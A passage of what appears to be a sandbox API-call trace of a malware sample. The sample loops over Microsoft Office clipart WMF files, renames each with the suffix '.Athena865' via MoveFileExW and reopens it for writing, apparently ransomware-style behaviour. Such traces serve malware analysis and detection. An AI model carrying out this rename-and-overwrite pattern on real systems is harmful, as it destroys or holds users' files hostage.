lpString1="J0152708.WMF") returned="J0152708.WMF" [0126.188] lstrlenW (lpString="J0152708.WMF") returned 12 [0126.188] lstrlenW (lpString="Athena865") returned 9 [0126.188] lstrcmpiW (lpString1="52708.WMF", lpString2="Athena865") returned -1 [0126.188] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.Athena865") returned 73 [0126.189] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.athena865"), dwFlags=0x1) returned 1 [0126.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.190] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4908) returned 1 [0126.193] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152716.WMF" | out: lpString1="J0152716.WMF") returned="J0152716.WMF" [0126.193] lstrlenW (lpString="J0152716.WMF") returned 12 [0126.193] lstrlenW (lpString="Athena865") returned 9 [0126.193] lstrcmpiW (lpString1="52716.WMF", lpString2="Athena865") returned -1 [0126.193] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.Athena865") returned 73 [0126.193] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.athena865"), dwFlags=0x1) returned 1 [0126.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.194] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4580) returned 1 [0126.197] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152722.WMF" | out: lpString1="J0152722.WMF") returned="J0152722.WMF" [0126.197] lstrlenW (lpString="J0152722.WMF") returned 12 [0126.197] lstrlenW (lpString="Athena865") returned 9 [0126.197] lstrcmpiW (lpString1="52722.WMF", lpString2="Athena865") returned -1 [0126.197] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.Athena865") returned 73 [0126.197] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.athena865"), dwFlags=0x1) returned 1 [0126.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.198] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7020) returned 1 [0126.201] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152876.WMF" | out: lpString1="J0152876.WMF") returned="J0152876.WMF" [0126.201] lstrlenW (lpString="J0152876.WMF") returned 12 [0126.201] lstrlenW (lpString="Athena865") returned 9 [0126.201] lstrcmpiW (lpString1="52876.WMF", lpString2="Athena865") returned -1 [0126.201] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.Athena865") returned 73 [0126.201] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.athena865"), dwFlags=0x1) returned 1 [0126.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.203] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7876) returned 1 [0126.206] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152878.WMF" | out: lpString1="J0152878.WMF") returned="J0152878.WMF" [0126.206] lstrlenW (lpString="J0152878.WMF") returned 12 [0126.206] lstrlenW (lpString="Athena865") returned 9 [0126.206] lstrcmpiW (lpString1="52878.WMF", lpString2="Athena865") returned -1 [0126.206] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.Athena865") returned 73 [0126.206] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.athena865"), dwFlags=0x1) returned 1 [0126.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.208] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14888) returned 1 [0126.211] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152882.WMF" | out: lpString1="J0152882.WMF") returned="J0152882.WMF" [0126.211] lstrlenW (lpString="J0152882.WMF") returned 12 [0126.211] lstrlenW (lpString="Athena865") returned 9 [0126.211] lstrcmpiW (lpString1="52882.WMF", lpString2="Athena865") returned -1 [0126.211] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.Athena865") returned 73 [0126.211] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.athena865"), dwFlags=0x1) returned 1 [0126.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.212] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9072) returned 1 [0126.215] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152884.WMF" | out: lpString1="J0152884.WMF") returned="J0152884.WMF" [0126.215] lstrlenW (lpString="J0152884.WMF") returned 12 [0126.215] lstrlenW (lpString="Athena865") returned 9 [0126.215] lstrcmpiW (lpString1="52884.WMF", lpString2="Athena865") returned -1 [0126.215] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.Athena865") returned 73 [0126.215] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.athena865"), dwFlags=0x1) returned 1 [0126.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.217] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6956) returned 1 [0126.219] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152890.WMF" | out: lpString1="J0152890.WMF") returned="J0152890.WMF" [0126.219] lstrlenW (lpString="J0152890.WMF") returned 12 [0126.220] lstrlenW (lpString="Athena865") returned 9 [0126.220] lstrcmpiW (lpString1="52890.WMF", lpString2="Athena865") returned -1 [0126.220] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.Athena865") returned 73 [0126.220] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.athena865"), dwFlags=0x1) returned 1 [0126.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.221] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1940) returned 1 [0126.224] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152892.WMF" | out: lpString1="J0152892.WMF") returned="J0152892.WMF" [0126.224] lstrlenW (lpString="J0152892.WMF") returned 12 [0126.224] lstrlenW (lpString="Athena865") returned 9 [0126.224] lstrcmpiW (lpString1="52892.WMF", lpString2="Athena865") returned -1 [0126.224] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.Athena865") returned 73 [0126.224] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.athena865"), dwFlags=0x1) returned 1 [0126.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.226] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10668) returned 1 [0126.229] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152894.WMF" | out: lpString1="J0152894.WMF") returned="J0152894.WMF" [0126.229] lstrlenW (lpString="J0152894.WMF") returned 12 [0126.229] lstrlenW (lpString="Athena865") returned 9 [0126.229] lstrcmpiW (lpString1="52894.WMF", lpString2="Athena865") returned -1 [0126.229] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.Athena865") returned 73 [0126.229] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.athena865"), dwFlags=0x1) returned 1 [0126.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.230] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11348) returned 1 [0126.234] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152898.WMF" | out: lpString1="J0152898.WMF") returned="J0152898.WMF" [0126.234] lstrlenW (lpString="J0152898.WMF") returned 12 [0126.234] lstrlenW (lpString="Athena865") returned 9 [0126.234] lstrcmpiW (lpString1="52898.WMF", lpString2="Athena865") returned -1 [0126.234] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.Athena865") returned 73 [0126.234] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.athena865"), dwFlags=0x1) returned 1 [0126.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.235] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4496) returned 1 [0126.238] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153047.WMF" | out: lpString1="J0153047.WMF") returned="J0153047.WMF" [0126.238] lstrlenW (lpString="J0153047.WMF") returned 12 [0126.238] lstrlenW (lpString="Athena865") returned 9 [0126.238] lstrcmpiW (lpString1="53047.WMF", lpString2="Athena865") returned -1 [0126.238] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.Athena865") returned 73 [0126.238] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.athena865"), dwFlags=0x1) returned 1 [0126.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.240] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33068) returned 1 [0126.244] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153087.WMF" | out: lpString1="J0153087.WMF") returned="J0153087.WMF" [0126.244] lstrlenW (lpString="J0153087.WMF") returned 12 [0126.244] lstrlenW (lpString="Athena865") returned 9 [0126.244] lstrcmpiW (lpString1="53087.WMF", lpString2="Athena865") returned -1 [0126.244] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.Athena865") returned 73 [0126.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.athena865"), dwFlags=0x1) returned 1 [0126.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.246] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1912) returned 1 [0126.249] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153089.WMF" | out: lpString1="J0153089.WMF") returned="J0153089.WMF" [0126.249] lstrlenW (lpString="J0153089.WMF") returned 12 [0126.249] lstrlenW (lpString="Athena865") returned 9 [0126.249] lstrcmpiW (lpString1="53089.WMF", lpString2="Athena865") returned -1 [0126.249] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.Athena865") returned 73 [0126.249] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.athena865"), dwFlags=0x1) returned 1 [0126.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.250] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7848) returned 1 [0126.253] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153091.WMF" | out: lpString1="J0153091.WMF") returned="J0153091.WMF" [0126.253] lstrlenW (lpString="J0153091.WMF") returned 12 [0126.253] lstrlenW (lpString="Athena865") returned 9 [0126.253] lstrcmpiW (lpString1="53091.WMF", lpString2="Athena865") returned -1 [0126.253] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.Athena865") returned 73 [0126.253] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.athena865"), dwFlags=0x1) returned 1 [0126.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.255] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8136) returned 1 [0126.258] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153093.WMF" | out: lpString1="J0153093.WMF") returned="J0153093.WMF" [0126.258] lstrlenW (lpString="J0153093.WMF") returned 12 [0126.258] lstrlenW (lpString="Athena865") returned 9 [0126.259] lstrcmpiW (lpString1="53093.WMF", lpString2="Athena865") returned -1 [0126.259] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.Athena865") returned 73 [0126.259] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.athena865"), dwFlags=0x1) returned 1 [0126.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.260] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8880) returned 1 [0126.263] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153095.WMF" | out: lpString1="J0153095.WMF") returned="J0153095.WMF" [0126.263] lstrlenW (lpString="J0153095.WMF") returned 12 [0126.263] lstrlenW (lpString="Athena865") returned 9 [0126.263] lstrcmpiW (lpString1="53095.WMF", lpString2="Athena865") returned -1 [0126.263] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.Athena865") returned 73 [0126.263] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.athena865"), dwFlags=0x1) returned 1 [0126.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.264] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3704) returned 1 [0126.267] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153265.WMF" | out: lpString1="J0153265.WMF") returned="J0153265.WMF" [0126.268] lstrlenW (lpString="J0153265.WMF") returned 12 [0126.268] lstrlenW (lpString="Athena865") returned 9 [0126.268] lstrcmpiW (lpString1="53265.WMF", lpString2="Athena865") returned -1 [0126.268] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.Athena865") returned 73 [0126.268] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.athena865"), dwFlags=0x1) returned 1 [0126.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.269] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3008) returned 1 [0126.272] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153273.WMF" | out: lpString1="J0153273.WMF") returned="J0153273.WMF" [0126.272] lstrlenW (lpString="J0153273.WMF") returned 12 [0126.272] lstrlenW (lpString="Athena865") returned 9 [0126.272] lstrcmpiW (lpString1="53273.WMF", lpString2="Athena865") returned -1 [0126.272] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.Athena865") returned 73 [0126.272] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.athena865"), dwFlags=0x1) returned 1 [0126.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.273] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20096) returned 1 [0126.276] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153299.WMF" | out: lpString1="J0153299.WMF") returned="J0153299.WMF" [0126.277] lstrlenW (lpString="J0153299.WMF") returned 12 [0126.277] lstrlenW (lpString="Athena865") returned 9 [0126.277] lstrcmpiW (lpString1="53299.WMF", lpString2="Athena865") returned -1 [0126.277] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.Athena865") returned 73 [0126.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 